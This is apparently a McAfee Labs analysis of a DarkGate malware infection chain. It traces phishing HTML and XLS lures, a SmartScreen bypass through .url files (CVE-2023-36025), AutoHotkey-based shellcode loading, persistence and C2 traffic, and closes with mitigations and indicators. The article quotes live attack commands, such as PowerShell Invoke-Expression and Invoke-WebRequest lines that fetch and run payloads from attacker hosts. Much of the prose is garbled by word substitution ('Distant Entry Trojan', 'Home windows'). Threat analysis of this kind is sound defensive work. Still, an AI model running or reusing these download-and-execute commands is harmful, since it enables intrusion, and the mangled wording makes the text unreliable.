The Darkgate Menace: Leveraging Autohotkey & Try and Evade Smartscreen

Authored by Yashvi Shah, Lakshya Mathur and Preksha Saxena

McAfee Labs has not too long ago uncovered a novel an infection chain related to DarkGate malware. This chain commences with an HTML-based entry level and progresses to take advantage of the AutoHotkey utility in its subsequent phases. DarkGate, a Distant Entry Trojan (RAT) developed utilizing Borland Delphi, has been marketed as a Malware-as-a-Service (MaaS) providing on a Russian-language cybercrime discussion board since a minimum of 2018. This malicious software program boasts an array of functionalities, equivalent to course of injection, file obtain and execution, knowledge theft, shell command execution, keylogging capabilities, amongst others. Following is the unfold of DarkGate noticed in our telemetry for final three months:

Determine 1: Geo-Distribution of DarkGate

DarkGate’s try and bypass Defender Smartscreen

Moreover, DarkGate incorporates quite a few evasion ways to bypass detection. DarkGate notably circumvented Microsoft Defender SmartScreen, prompting Microsoft to subsequently launch a patch to deal with this vulnerability.

Within the earlier 12 months, CVE-2023-36025 (https://nvd.nist.gov/vuln/element/CVE-2023-36025 ) was recognized and subsequently patched https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 . CVE-2023-36025 is a vulnerability impacting Microsoft Home windows Defender SmartScreen. This flaw arises from the absence of correct checks and corresponding prompts associated to Web Shortcut (.url) information. Cyber adversaries exploit this vulnerability by creating malicious .url information able to downloading and executing dangerous scripts, successfully evading the warning and inspection mechanisms of Home windows Defender SmartScreen. This 12 months, similar manner, CVE-2024-21412 (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-21412 ) was recognized and patched. This vulnerability is about “Web Shortcut Recordsdata Safety Characteristic Bypass Vulnerability”.

An infection Chain

McAfee Labs has recognized two distinct preliminary vectors carrying equivalent DarkGate shellcode and payload. The primary vector originates from an HTML file, whereas the second begins with an XLS file. We are going to delve into every chain individually to unveil their respective mechanisms. Under is the detailed an infection chain for a similar:

Determine 2: An infection Chain

An infection from HTML:

The an infection chain initiates with a phishing HTML web page masquerading as a Phrase doc. Customers are prompted to open the doc in “Cloud View” (proven within the determine beneath), making a misleading lure for unwitting people to work together with malicious content material.

Determine 3: HTML web page

Upon clicking “Cloud View,” customers are prompted to grant permission to open Home windows Explorer, facilitating the following redirection course of.

Determine 4: Immediate confirming redirection to Home windows Explorer

Upon granting permission and opening Home windows Explorer, customers encounter a file depicted inside the Home windows Explorer interface. The window title prominently shows “onedrive.reside.com,” including a veneer of legitimacy to the purported “Cloud View” expertise.

Determine 5: Share Web Shortcut through SMB

In our investigation, we sought to hint the origin of the described phishing scheme again to its mum or dad HTML file. Upon inspection, it seems that the highlighted content material within the picture could also be a string encoded in reverse Base64 format. This suspicion arises from the presence of a JavaScript perform (proven within the determine beneath) designed to reverse strings, which suggests an try and decode or manipulate encoded knowledge.

Determine 6: Javascript in HTML code

On reversing and base64 decoding the yellow highlighted content material in Determine 6, we discovered:

Determine 7: WebDAV share

The URL makes use of the “search-ms” utility protocol to execute a search operation for a file named “Report-26-2024.url”. The “crumb” parameter is employed to restrict the search inside the context of the malicious WebDAV share, proscribing its scope. Moreover, the “DisplayName” aspect is manipulated to mislead customers into believing that the accessed useful resource is related to the official “onedrive.reside.com” folder, thereby facilitating deception.

Therefore, the presence of “onedrive.reside.com” within the Home windows Explorer window title is a direct consequence of the misleading manipulation inside the URL construction.

The file is an Web Shortcut (.url) file, containing the next content material:

Determine 8: content material of .URL file

The .url information function easy INI configuration information, usually consisting of a “URL=” parameter indicating a particular URL. In our situation, the URL parameter is outlined as follows: URL=file://170.130.55.130/share/a/Report-26-2024.zip/Report-26-2024.vbs.

Upon execution of the .url file, it can provoke the execution of the VBScript file specified within the URL parameter. This course of permits for the automated execution of the VBScript file, probably enabling the execution of malicious instructions or actions on the system.

The vulnerability CVE-2023-36025 (https://nvd.nist.gov/vuln/element/CVE-2023-36025 ) pertains to Microsoft Home windows Defender SmartScreen failing to problem a safety immediate previous to executing a .url file from an untrusted supply. Attackers exploit this by establishing a Home windows shortcut (.url) file that sidesteps the SmartScreen safety immediate. This evasion is achieved by incorporating a script file as a part of the malicious payload supply mechanism. Though Microsoft has launched a patch https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-36025 to deal with this vulnerability, it stays exploitable in unpatched variations of Home windows.

In case your system will not be patched and up to date, you’ll not see any immediate. Nonetheless, in case your system is up to date, you’ll encounter a immediate like:

Determine 9: SmartScreen immediate

On permitting execution, the vbs file is dropped at C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29. This file will run mechanically on execution of url file and we get the next course of tree:

Determine 10: Course of tree

Following are the command strains:

• “C:WindowsSystem32WScript.exe” “C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29Report-26-2024[1].vbs”
  • “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘withupdate.com/zuyagaoq’)
    • ??C:Windowssystem32conhost.exe 0xffffffff -ForceV1
    • “C:rjtuAutoHotkey.exe” C:/rjtu/script.ahk
    • “C:Windowssystem32attrib.exe” +h C:/rjtu/

The sequence of instructions begins with the execution of the VBScript file positioned at “C:UsersadminAppDataLocalMicrosoftWindowsINetCacheIEU4IRGC29Report-26-2024[1].vbs”. This VBScript subsequently makes use of PowerShell to execute a script obtained from the desired URL (‘withupdate.com/zuyagaoq’) through the Invoke-RestMethod cmdlet. Upon executing the downloaded script, it proceeds to command and execute the AutoHotkey utility, using a script positioned on the designated path (C:/rjtu/script.ahk). Subsequently, the ultimate command makes use of the attrib device to set the hidden attribute (+h) for the desired listing (C:/rjtu/).

Inspecting the URL “withupdate.com/zuyagaoq” explicitly permits for an in depth understanding of the an infection movement:

Determine 11: Distant Script on the C2

This URL results in a script:

Determine 12: Distant Script content materialReformatting, we get:

Determine 13: Distant script content material

Clarification of the script:

• ni ‘C:/rjtu/’ -Kind Listing -Pressure: This command creates a brand new listing named “rjtu” within the root of the C drive if it doesn’t exist already.
• cd ‘C:/rjtu/’: This adjustments the present listing to the newly created “rjtu” listing.
• Invoke-WebRequest -Uri “http://withupdate.com/oudowibspr” -OutFile ‘C:/rjtu/temp_AutoHotkey.exe’: This command downloads a file from the desired URL and saves it as “temp_AutoHotkey.exe” within the “rjtu” listing.
• Invoke-WebRequest -Uri “http://withupdate.com/rwlwiwbv” -OutFile ‘C:/rjtu/script.ahk’: This downloads a file named “script.ahk” from one other specified URL and saves it within the “rjtu” listing.
• Invoke-WebRequest -Uri “http://withupdate.com/bisglrkb” -OutFile ‘C:/rjtu/check.txt’: This downloads a file named “check.txt” from one more specified URL and saves it within the “rjtu” listing.
• begin ‘C:/rjtu/AutoHotkey.exe’ -a ‘C:/rjtu/script.ahk’: This command begins the executable “AutoHotkey.exe” positioned within the “rjtu” listing and passes “script.ahk” file as an argument.
• attrib +h ‘C:/rjtu/’: This units the hidden attribute for the “rjtu” listing.

Checking “C:/rjtu”:

Determine 14: Dropped folder

AutoHotkey is a scripting language that permits customers to automate duties on a Home windows pc. It could simulate keystrokes, mouse actions, and manipulate home windows and controls. By writing scripts, customers can create customized shortcuts, automate repetitive duties, and improve productiveness.

To execute an AutoHotkey script, it’s handed as a parameter to the AutoHotkey executable (autohotkey.exe).

Following is the ahk script file content material:

Determine 15: Content material of .ahk script

There are a variety of feedback added within the script, simplifying the script, we get:

Determine 16: .ahk script after eradicating junk

This script reads the content material of “check.txt” into reminiscence, allocates a reminiscence area within the course of’s deal with house, writes the content material of “check.txt” as hexadecimal bytes into that reminiscence area, and eventually, it executes the content material of that reminiscence area as a perform. This script appears to be executing directions saved in “check.txt”.

Now, it’s confirmed that the shellcode resides inside the contents of “check.txt”. That is how the textual content.txt seems:

Determine 17: Content material of check.txt

We analyzed the reminiscence in use for Autohotkey.exe.

Determine 18: Reminiscence of operating occasion of AutoHotKey.exeWe dumped the reminiscence related to it and located that it was the identical because the content material in check.txt.

Determine 19: Reminiscence dump of operating AutoHotKey.exe similar as check.txt

That is the shellcode current right here.  The primary 6 bytes are meeting directions:

Determine 20: Shellcode A to start with

Following the leap directions of 3bf bytes, we attain the identical set of directions once more:

Determine 21: Identical Shellcode A after leap

This implies one other leap with be taken for an additional 3bf bytes:

Determine 22: Identical Shellcode A another time

We’ve got encountered similar set of directions once more, taking one other leap we attain to:

Determine 23: New Shellcode B discovered subsequent.

These bytes are once more one other shellcode and the area highlighted in yellow(within the determine beneath) is a PE file. The Instruction pointer will not be on the PE presently. This shellcode must be decoded first.

Determine 24: Shellcode B adopted by PE file highlighted

This shellcode suggests including 71000 to the present offset and instruction pointer will probably be on the new location. The present offset is B3D, including 71000 makes it 71B3D. Checking 71B3D, we get:

Determine 25: After debugging discovered subsequent Shellcode C

That is once more now another set of directions in shellcode. That is roughly 4KB in measurement and is appended on the finish of the file.

Determine 26: Shellcode C directing to entry level of the PE file

Upon debugging this code, we discovered that in marked “name eax” instruction, eax has the deal with of the entry level of the ultimate DarkGate payload. Therefore this instruction lastly strikes the Instruction Pointer to the entry level of the PE file. This goes to the identical area marked in yellow in Determine 24.

That is the ultimate DarkGate payload which is a Delphi-compiled executable file:

Determine 27: Darkgate payload.

Upon this, we see all of the community exercise taking place to C2 website:

Determine 28: Community Communication

Determine 29: C2 IP deal with

The exfiltration is completed to the IP deal with 5.252.177.207.

Persistence:

For sustaining persistence, a .lnk file is dropped in startup folder:

Determine 30: Persistence

Content material of lnk file:

Determine 31: Content material of .lnk used for persistence

The shortcut file (lnk) drops a folder named “hakeede” within the “C:ProgramData” listing.

Determine 32: Folder dropped in “C:ProgramData”

Inside this folder, all the identical information are current:

Determine 33: Identical set of information current in dropped folder

Once more, the ahk file is executed with the assistance of Autohotkey.exe and shellcode current in check.txt is executed. These information have the identical SHA256 worth, differing solely of their assigned names.

An infection from XLS:

The malicious excel file asks the consumer to click on on “Open” to view the content material correctly.

Determine 34: XLS pattern

Upon clicking on “Open” button, consumer will get the next immediate warning the consumer earlier than opening the file.

Determine 35: XLS information making an attempt to obtain and run VBS file

For our evaluation, we allowed the exercise by clicking on “OK”. Following this we bought the method tree as:

Determine 36: Course of tree from Excel file

The command strains are:

• “C:Program FilesMicrosoft OfficeRootOffice16EXCEL.EXE” “C:UsersadminDocumentsCluster10-apr-xls1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4.xlsx”
  • “C:WindowsSystem32WScript.exe” “45.89.53.187sMS_EXCEL_AZURE_CLOUD_OPEN_DOCUMENT.vbs”
    • “C:WindowsSystem32WindowsPowerShellv1.0powershell.exe” -Command Invoke-Expression (Invoke-RestMethod -Uri ‘103.124.106.237/wctaehcw’)
      • ??C:Windowssystem32conhost.exe 0xffffffff -ForceV1
      • “C:kadyAutoHotkey.exe” C:/kady/script.ahk
      • “C:Windowssystem32attrib.exe” +h C:/kady/

The file it will get from “103.124.106[.]237/wctaehcw” has the next content material:

Determine 37: Distant script simliar to earlier chain

From this level onward, the an infection course of mirrors the beforehand mentioned chain. All three information, together with AutoHotKey.exe, a script file, and a textual content file, are downloaded, with equivalent artifacts noticed all through the method.

Mitigation:

• Confirm Sender Data
• Suppose Earlier than Clicking Hyperlinks and Warnings
• Examine for Spelling and Grammar Errors
• Be Cautious with E-mail Content material
• Confirm Uncommon Requests
• Use E-mail Spam Filters
• Examine for Safe HTTP Connections
• Delete Suspicious Emails
• Maintain Home windows and Safety Software program Updated

Indicators of Compromise (IoCs):

File	Hash
Html file	196bb36f7d63c845afd40c5c17ce061e320d110f28ebe8c7c998b9e6b3fe1005
URL file	2b296ffc6d173594bae63d37e2831ba21a59ce385b87503710dc9ca439ed7833
VBS	038db3b838d0cd437fa530c001c9913a1320d1d7ac0fd3b35d974a806735c907
autohotkey.exe	897b0d0e64cf87ac7086241c86f757f3c94d6826f949a1f0fec9c40892c0cecb
AHK script	dd7a8b55e4b7dc032ea6d6aed6153bec9b5b68b45369e877bb66ba21acc81455
check.txt	4de0e0e7f23adc3dd97d498540bd8283004aa131a59ae319019ade9ddef41795
DarkGate exe	6ed1b68de55791a6534ea96e721ff6a5662f2aefff471929d23638f854a80031
IP	5.252.177.207
XLS file	1a960526c132a5293e1e02b49f43df1383bf37a0bbadd7ba7c106375c418dad4
VBS	2e34908f60502ead6ad08af1554c305b88741d09e36b2c24d85fd9bac4a11d2f
LNK file	10e362e18c355b9f8db9a0dbbc75cf04649606ef96743c759f03508b514ad34e
IP	103.124.106.237

Desk 1: IOC desk